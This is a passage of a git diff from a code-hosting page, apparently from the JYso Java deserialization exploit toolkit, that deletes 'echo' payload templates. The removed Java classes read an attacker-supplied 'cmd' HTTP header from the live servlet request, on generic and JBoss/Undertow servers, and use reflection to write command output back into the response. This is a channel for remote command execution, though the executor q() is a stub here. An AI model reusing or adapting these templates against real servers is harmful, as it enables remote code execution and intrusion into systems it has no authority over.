||||
}
|
||||
|
||||
private static void p(Object o, int depth) {
|
||||
if (depth > 52 || (r != null && p != null)) {
|
||||
return;
|
||||
}
|
||||
if (!i(o)) {
|
||||
if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) {
|
||||
r = (javax.servlet.http.HttpServletRequest) o;
|
||||
if (r.getHeader(CMD_HEADER) == null) {
|
||||
r = null;
|
||||
} else {
|
||||
try {
|
||||
p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{});
|
||||
} catch (Exception e) {
|
||||
r = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (r != null && p != null) {
|
||||
try {
|
||||
try {
|
||||
p.getWriter().println(q(r.getHeader(CMD_HEADER)));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
p.getWriter().flush();
|
||||
p.getWriter().close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return;
|
||||
}
|
||||
F(o, depth + 1);
|
||||
}
|
||||
}
|
||||
|
||||
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoStatic;
|
||||
|
||||
public class JbossEcho {
|
||||
|
||||
public static String CMD_HEADER = "cmd";
|
||||
|
||||
static {
|
||||
try {
|
||||
Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
|
||||
String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString();
|
||||
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
java.io.ByteArrayOutputStream baos = q(cmd);
|
||||
|
||||
try {
|
||||
// 高版本底层是 undertow
|
||||
Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl");
|
||||
Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{});
|
||||
java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{});
|
||||
os.write(baos.toByteArray());
|
||||
os.close();
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{});
|
||||
if (response == null) {
|
||||
java.lang.reflect.Field field = req.getClass().getDeclaredField("request");
|
||||
field.setAccessible(true);
|
||||
response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{});
|
||||
|
||||
}
|
||||
Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{});
|
||||
getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()});
|
||||
getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{});
|
||||
getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{});
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) {
|
||||
java.lang.reflect.Method method = null;
|
||||
while (cs != null) {
|
||||
try {
|
||||
method = cs.getDeclaredMethod(methodName, parameters);
|
||||
method.setAccessible(true);
|
||||
cs = null;
|
||||
} catch (Exception e) {
|
||||
cs = cs.getSuperclass();
|
||||
}
|
||||
}
|
||||
return method;
|
||||
}
|
||||
|
||||
public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {
|
||||
try {
|
||||
java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass);
|
||||
if (method != null)
|
||||
return method.invoke(obj, parameters);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user